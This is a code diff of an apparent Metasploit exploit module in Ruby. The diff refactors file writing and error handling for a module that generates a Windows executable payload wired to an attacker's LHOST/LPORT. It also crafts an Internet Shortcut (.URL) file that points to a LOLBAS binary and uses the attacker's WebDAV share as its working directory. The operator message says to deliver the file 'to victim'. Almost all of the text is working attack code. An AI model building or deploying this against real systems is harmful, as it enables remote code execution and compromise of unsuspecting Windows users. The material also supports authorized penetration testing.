@@ -54,7 +54,7 @@ def exploit
5454 prepare_webdav_dir
5555 generate_payload_if_needed
5656 write_url_file
57- print_status ( "Module complete. Deliver #{ datastore [ 'OUTFILE' ] } to victim." )
57+ print_status ( "Module complete. Deliver #{ File . expand_path ( datastore [ 'OUTFILE' ] ) } to victim." )
5858 end
5959
6060 def prepare_webdav_dir
@@ -72,13 +72,41 @@ def generate_payload_if_needed
7272 return unless datastore [ 'GEN_PAYLOAD' ]
7373
7474 exe_path = File . join ( datastore [ 'WEBDAV_DIR' ] , 'payload.exe' )
75- print_good ( " Generating payload at: #{ exe_path } " )
75+ print_status ( ' Generating payload...' )
7676 generate_payload_exe ( datastore [ 'PAYLOAD' ] , datastore [ 'LHOST' ] , datastore [ 'LPORT' ] , exe_path )
7777 end
7878
79+ def generate_payload_exe ( payload_name , lhost , lport , output_path )
80+ payload = framework . payloads . create ( payload_name . to_s . strip )
81+ payload . datastore [ 'LHOST' ] = lhost
82+ payload . datastore [ 'LPORT' ] = lport
83+ raw = payload . generate
84+ exe = Msf ::Util ::EXE . to_win32pe ( framework , raw )
85+ write_exe_file ( output_path , exe )
86+ end
87+
88+ def write_exe_file ( path , exe )
89+ File . open ( path , 'wb' ) { |f | f . write ( exe ) }
90+ print_good ( "Payload successfully written to #{ path } " )
91+ rescue Errno ::EACCES
92+ return_error ( path )
93+ end
94+
7995 def write_url_file
96+ content = generate_url_content
97+ outfile = datastore [ 'OUTFILE' ]
98+ begin
99+ print_status ( 'Generating .URL file...' )
100+ File . write ( outfile , content )
101+ print_good ( ".URL file written to: #{ outfile } " )
102+ rescue Errno ::EACCES
103+ return_error ( File . expand_path ( outfile ) )
104+ end
105+ end
106+
107+ def generate_url_content
80108 unc_path = "\\ \\ #{ datastore [ 'LHOST' ] } \\ #{ File . basename ( datastore [ 'WEBDAV_DIR' ] ) } \\ "
81- content = <<~URLFILE
109+ <<~URLFILE
82110 [InternetShortcut]
83111 URL=#{ datastore [ 'LOLBAS_EXE' ] }
84112 WorkingDirectory=#{ unc_path }
@@ -87,19 +115,13 @@ def write_url_file
87115 IconFile=#{ datastore [ 'ICON_PATH' ] }
88116 Modified=#{ datastore [ 'MODIFIED_HEX' ] }
89117 URLFILE
90- File . write ( datastore [ 'OUTFILE' ] , content )
91- print_good ( ".URL file written to: #{ url_file } " )
92118 end
93119
94- def generate_payload_exe ( payload_name , lhost , lport , output_path )
95- payload = framework . payloads . create ( payload_name . to_s . strip )
96- payload . datastore [ 'LHOST' ] = lhost
97- payload . datastore [ 'LPORT' ] = lport
98- raw = payload . generate
99- exe = Msf ::Util ::EXE . to_win32pe ( framework , raw )
100- File . open ( output_path , 'wb' ) { |f | f . write ( exe ) }
101- print_good ( "Payload successfully written to #{ output_path } " )
102- rescue StandardError => e
103- print_error ( "Failed to generate payload: #{ e . class } #{ e . message } " )
120+ def return_error ( currentpath )
121+ fail_with (
122+ Failure ::NoAccess ,
123+ "Cannot write to #{ currentpath } . Permission denied.\n " \
124+ 'Try restarting Metasploit with root privilege.'
125+ )
104126 end
105127end
0 commit comments